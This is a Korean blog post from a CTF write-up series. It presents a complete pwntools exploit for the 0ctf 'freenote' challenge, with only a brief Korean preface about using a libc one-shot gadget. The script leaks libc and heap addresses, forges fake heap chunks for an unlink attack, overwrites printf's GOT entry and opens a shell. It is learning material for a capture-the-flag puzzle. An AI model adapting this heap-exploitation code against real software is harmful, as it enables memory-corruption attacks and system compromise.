cdor1's lab
0ctf freenote 본문
후기 : 어렵다... fake chunk를 만드는 작업은 매우 정교해서 내 머리가 malloc이 되는 기분이다.
system으로 got를 덮고 /bin/sh를 줘서 쉘을 얻어도 되지만 요번에는 새로 알게된 oneshot 가젯이라는 것을 써보았다.
oneshot 가젯이란 execve함수로 /bin/sh를 실행해주는 libc에 있는 가젯인데 이걸로 got를 덮어주면 그 함수를 부르자마자 쉘을 얻을 수 있게 된다.
from pwn import *
s = remote('localhost',4000)
elf = ELF('/home/cdor1/pwnable/freenote')
libc = ELF('/home/cdor1/pwnable/libc.so.6_cdor1')
printf_got = elf.got['printf']
def list():
print s.recvuntil(':')
s.sendline('1')
def new(length, content):
print s.recvuntil(':')
s.sendline('2')
print s.recvuntil(':')
s.sendline(str(length))
print s.recvuntil(':')
s.sendline(content)
def edit(number, length, content):
print s.recvuntil(':')
s.sendline('3')
print s.recvuntil(':')
s.sendline(str(number))
print s.recvuntil(':')
s.sendline(str(length))
print s.recvuntil(':')
s.sendline(content)
def delete(number):
print s.recvuntil(':')
s.sendline('4')
print s.recvuntil(':')
s.sendline(str(number))
new(4,'AAAA')
new(4,'BBBB')
delete(0)
new(1,'\xb8')
list()
print s.recvuntil('0. ')
main_arena = u64(s.recv(6).strip('\x0a').ljust(8,'\x00'))
libc_base = main_arena - 0x3BE7B8
oneshot = libc_base + 0x4647C
print '[*] main_arena : ' + hex(main_arena)
print '[*] libc_base : ' + hex(libc_base)
delete(1)
delete(0)
for i in range(0,4):
new(16,'A'*16)
delete(2)
delete(0)
new(8,'A'*8)
list()
print s.recvuntil('AAAAAAAA')
leak = u32(s.recv(4).strip('a').ljust(4,'\x00'))
heap_base = leak - 0x1808
print '[*] heap_leak : ' + hex(leak)
print '[*] heap_base : ' + hex(heap_base)
delete(0)
delete(1)
delete(3)
new(256, 'A'*256)
new(256, 'B'*256)
new(256, 'C'*256)
delete(2)
delete(1)
delete(0)
fake = p64(0)
fake += p64(0x100)
fake += p64(heap_base)
fake += p64(heap_base + 0x8)
fake += 'A'*(256 - 32)
fake += p64(0x100)
fake += p64(0x110)
fake += 'B'*256
fake += p64(0x100)
fake += p64(0x111)
fake += 'C'*(256 - 32)
new(768, fake)
delete(1)
pay = p64(0x100)
pay += p64(1)
pay += p64(0x8)
pay += p64(printf_got)
pay += 'A'*(768 - len(pay))
edit(0, 0x300, pay)
edit(0, 8, p64(oneshot))
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
fastbin consolidate (0) | 2016.12.08 |
---|---|
unsafe unlink (0) | 2016.12.07 |
HITCON 2016 SecretHolder (0) | 2016.12.01 |
pwnable 문제 주의할 것 (0) | 2016.11.22 |
Boston key party ctf 2016 cookbook (0) | 2016.11.22 |
Comments